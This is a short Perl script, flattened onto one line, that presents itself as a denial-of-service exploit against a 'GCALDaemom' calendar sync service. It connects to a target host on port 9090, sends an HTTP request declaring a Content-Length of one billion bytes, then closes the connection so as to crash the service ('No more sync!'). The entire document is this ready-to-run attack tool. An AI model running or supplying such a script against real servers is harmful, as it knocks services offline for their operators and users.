#!/usr/bin/perl use strict; use warnings; use IO::Socket; my $host = shift || die "Usage: $0 host [port]\n"; my $port = shift || 9090; my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp') or die "error: $!\n"; print "GCALDaemom DoS Expoit\n"; print "Just 4 seconds...\n"; sleep 4; $sock->send("GET / HTTP/1.1\r\n"); $sock->send("Content-Length: 1000000000\r\n\r\n"); $sock->close; print "\n\nNo more sync!\n";